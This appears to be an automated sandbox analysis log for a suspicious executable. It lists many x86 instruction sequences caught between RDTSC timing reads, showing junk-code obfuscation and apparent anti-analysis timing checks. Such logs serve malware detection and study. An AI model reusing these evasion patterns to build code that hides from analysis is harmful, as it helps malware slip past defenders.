Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70109EA second address: 7010A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F09FCB08894h 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F09FCB0888Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010A16 second address: 7010A25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010A52 second address: 7010A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010A58 second address: 7010A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010A5C second address: 7010A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010A60 second address: 7010ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, eax 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d mov cx, 25EDh 0x00000011 popad 0x00000012 test edi, edi 0x00000014 jmp 00007F09FCF89C28h 0x00000019 js 00007F0A6CF1884Dh 0x0000001f jmp 00007F09FCF89C20h 0x00000024 mov eax, dword ptr [ebp-0Ch] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F09FCF89C27h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010ABE second address: 7010AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB08894h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010AD6 second address: 7010AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010AE4 second address: 7010B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, ax 0x00000007 popad 0x00000008 lea eax, dword ptr [ebx+78h] 0x0000000b pushad 0x0000000c mov bh, cl 0x0000000e pushfd 0x0000000f jmp 00007F09FCB0888Fh 0x00000014 xor ah, FFFFFFEEh 0x00000017 jmp 00007F09FCB08899h 0x0000001c popfd 0x0000001d popad 0x0000001e push 00000001h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ecx, ebx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010B28 second address: 7010B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCF89C1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010B3A second address: 7010B72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F09FCB0888Ah 0x00000010 jmp 00007F09FCB08895h 0x00000015 popfd 0x00000016 movzx esi, dx 0x00000019 popad 0x0000001a mov dword ptr [esp], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010B72 second address: 7010B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010B76 second address: 7010B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010CBE second address: 7010D06 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F09FCF89C28h 0x00000008 sub si, 79E8h 0x0000000d jmp 00007F09FCF89C1Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push 00000001h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F09FCF89C25h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010D06 second address: 7010D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010D0C second address: 7010D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010D10 second address: 7010D47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08893h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F09FCB08896h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010D47 second address: 7010D63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010D63 second address: 7010D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010D68 second address: 7010DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F09FCF89C27h 0x0000000a sub eax, 6B3459FEh 0x00000010 jmp 00007F09FCF89C29h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 nop 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F09FCF89C1Ch 0x00000021 sbb ax, A0F8h 0x00000026 jmp 00007F09FCF89C1Bh 0x0000002b popfd 0x0000002c popad 0x0000002d lea eax, dword ptr [ebp-18h] 0x00000030 pushad 0x00000031 mov ch, 3Ch 0x00000033 mov cl, dh 0x00000035 popad 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a movsx edi, ax 0x0000003d pushfd 0x0000003e jmp 00007F09FCF89C1Ah 0x00000043 and ecx, 5356EA88h 0x00000049 jmp 00007F09FCF89C1Bh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010DF6 second address: 7010E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB08894h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010E0E second address: 7010E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, di 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010E1F second address: 7010E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010EA4 second address: 7010EFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b pushad 0x0000000c mov eax, 4FD2AB03h 0x00000011 mov di, si 0x00000014 popad 0x00000015 test edi, edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov cx, dx 0x0000001d pushfd 0x0000001e jmp 00007F09FCF89C23h 0x00000023 or cl, 0000005Eh 0x00000026 jmp 00007F09FCF89C29h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010EFB second address: 7010F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB0888Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010F0B second address: 7010F0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010F0F second address: 7010F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F0A6CA9701Eh 0x0000000e jmp 00007F09FCB08897h 0x00000013 mov eax, dword ptr [ebp-14h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov esi, edi 0x0000001b mov edx, 0B0CAF82h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010F42 second address: 7010F9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b jmp 00007F09FCF89C20h 0x00000010 mov dword ptr [esi+0Ch], eax 0x00000013 jmp 00007F09FCF89C20h 0x00000018 mov edx, 770206ECh 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007F09FCF89C1Dh 0x00000025 pop esi 0x00000026 movsx edi, ax 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010F9D second address: 7010FB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB08896h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010FB7 second address: 7010FF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 00000000h 0x0000000d jmp 00007F09FCF89C1Ch 0x00000012 lock cmpxchg dword ptr [edx], ecx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F09FCF89C1Eh 0x0000001d adc ax, 8968h 0x00000022 jmp 00007F09FCF89C1Bh 0x00000027 popfd 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7010FF8 second address: 7011032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, dx 0x00000007 popad 0x00000008 popad 0x00000009 pop edi 0x0000000a jmp 00007F09FCB08897h 0x0000000f test eax, eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F09FCB08895h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011032 second address: 7011038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011038 second address: 701109A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F0A6CA96F22h 0x0000000e jmp 00007F09FCB0888Fh 0x00000013 mov edx, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 mov ecx, 1B20842Bh 0x0000001c push eax 0x0000001d pop eax 0x0000001e popad 0x0000001f mov eax, dword ptr [esi] 0x00000021 jmp 00007F09FCB08899h 0x00000026 mov dword ptr [edx], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F09FCB08898h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701109A second address: 70110A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70110A9 second address: 70110DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCB0888Fh 0x00000009 jmp 00007F09FCB08893h 0x0000000e popfd 0x0000000f push ecx 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov eax, dword ptr [esi+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70110DE second address: 70110E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70110E2 second address: 70110E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70110E8 second address: 701115D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+04h], eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F09FCF89C28h 0x00000014 and eax, 1CB5AF98h 0x0000001a jmp 00007F09FCF89C1Bh 0x0000001f popfd 0x00000020 pop ecx 0x00000021 popad 0x00000022 mov eax, dword ptr [esi+08h] 0x00000025 jmp 00007F09FCF89C1Fh 0x0000002a mov dword ptr [edx+08h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F09FCF89C20h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701115D second address: 7011163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011163 second address: 7011169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011169 second address: 70111BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+0Ch] 0x0000000b jmp 00007F09FCB08894h 0x00000010 mov dword ptr [edx+0Ch], eax 0x00000013 jmp 00007F09FCB08890h 0x00000018 mov eax, dword ptr [esi+10h] 0x0000001b jmp 00007F09FCB08890h 0x00000020 mov dword ptr [edx+10h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov dx, 6A00h 0x0000002a push ebx 0x0000002b pop eax 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70111BB second address: 701120D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCF89C20h 0x00000009 and cx, 5848h 0x0000000e jmp 00007F09FCF89C1Bh 0x00000013 popfd 0x00000014 mov cx, F3BFh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr [esi+14h] 0x0000001e jmp 00007F09FCF89C22h 0x00000023 mov dword ptr [edx+14h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F09FCF89C1Ah 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701120D second address: 7011211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011211 second address: 7011217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011217 second address: 7011275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCB0888Ch 0x00000009 sub eax, 26998D08h 0x0000000f jmp 00007F09FCB0888Bh 0x00000014 popfd 0x00000015 mov cx, F77Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr [esi+18h] 0x0000001f jmp 00007F09FCB08892h 0x00000024 mov dword ptr [edx+18h], eax 0x00000027 pushad 0x00000028 mov cl, 22h 0x0000002a mov di, 05FEh 0x0000002e popad 0x0000002f mov eax, dword ptr [esi+1Ch] 0x00000032 pushad 0x00000033 mov cx, di 0x00000036 mov di, 8A62h 0x0000003a popad 0x0000003b mov dword ptr [edx+1Ch], eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011275 second address: 7011279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011279 second address: 701127D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701127D second address: 7011283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011283 second address: 701130E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007F09FCB0888Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esi+20h] 0x00000010 jmp 00007F09FCB08896h 0x00000015 mov dword ptr [edx+20h], eax 0x00000018 jmp 00007F09FCB08890h 0x0000001d mov eax, dword ptr [esi+24h] 0x00000020 jmp 00007F09FCB08890h 0x00000025 mov dword ptr [edx+24h], eax 0x00000028 pushad 0x00000029 jmp 00007F09FCB0888Eh 0x0000002e mov eax, 5C84FB01h 0x00000033 popad 0x00000034 mov eax, dword ptr [esi+28h] 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F09FCB08896h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701130E second address: 7011314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7011314 second address: 701131A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701131A second address: 701131E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 701131E second address: 70113AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+28h], eax 0x0000000b pushad 0x0000000c mov cx, 3151h 0x00000010 mov cx, 918Dh 0x00000014 popad 0x00000015 mov ecx, dword ptr [esi+2Ch] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F09FCB08896h 0x0000001f jmp 00007F09FCB08895h 0x00000024 popfd 0x00000025 mov edi, ecx 0x00000027 popad 0x00000028 mov dword ptr [edx+2Ch], ecx 0x0000002b pushad 0x0000002c pushad 0x0000002d mov cl, A6h 0x0000002f mov bh, 30h 0x00000031 popad 0x00000032 pushfd 0x00000033 jmp 00007F09FCB0888Ch 0x00000038 and ax, 0268h 0x0000003d jmp 00007F09FCB0888Bh 0x00000042 popfd 0x00000043 popad 0x00000044 mov ax, word ptr [esi+30h] 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F09FCB08895h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70114BD second address: 70114C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70114C3 second address: 70114F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or dword ptr [edx+40h], FFFFFFFFh 0x0000000c jmp 00007F09FCB0888Fh 0x00000011 pop esi 0x00000012 pushad 0x00000013 mov ecx, 1835F06Bh 0x00000018 mov ah, 28h 0x0000001a popad 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ax, CA5Bh 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70114F1 second address: 70114F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70114F7 second address: 70114FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7050E26 second address: 7050E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCF89C1Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7050E39 second address: 7050E3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7050E3D second address: 7050E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov esi, edx 0x0000000c push ebx 0x0000000d mov edx, eax 0x0000000f pop eax 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov si, bx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F09FCF89C1Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7050E63 second address: 7050E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 700072A second address: 7000748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 call 00007F09FCF89C27h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000748 second address: 700075E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov cx, di 0x0000000b push ebx 0x0000000c pop edi 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 700075E second address: 7000762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000762 second address: 7000766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000766 second address: 700076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 700076C second address: 700077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB0888Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FA002A second address: 6FA0053 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 281Bh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, ecx 0x0000000a popad 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F09FCF89C29h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FA0B67 second address: 6FA0B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, F2FDh 0x00000007 mov bh, ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 movsx edx, cx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FF0A33 second address: 6FF0AB5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F09FCF89C28h 0x00000008 sbb ch, FFFFFFE8h 0x0000000b jmp 00007F09FCF89C1Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 call 00007F09FCF89C28h 0x00000018 mov edi, eax 0x0000001a pop eax 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F09FCF89C23h 0x00000025 add si, 648Eh 0x0000002a jmp 00007F09FCF89C29h 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FF0AB5 second address: 6FF0AF1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F09FCB0888Ch 0x00000008 sbb eax, 3D151F08h 0x0000000e jmp 00007F09FCB0888Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F09FCB08895h 0x0000001f rdtsc
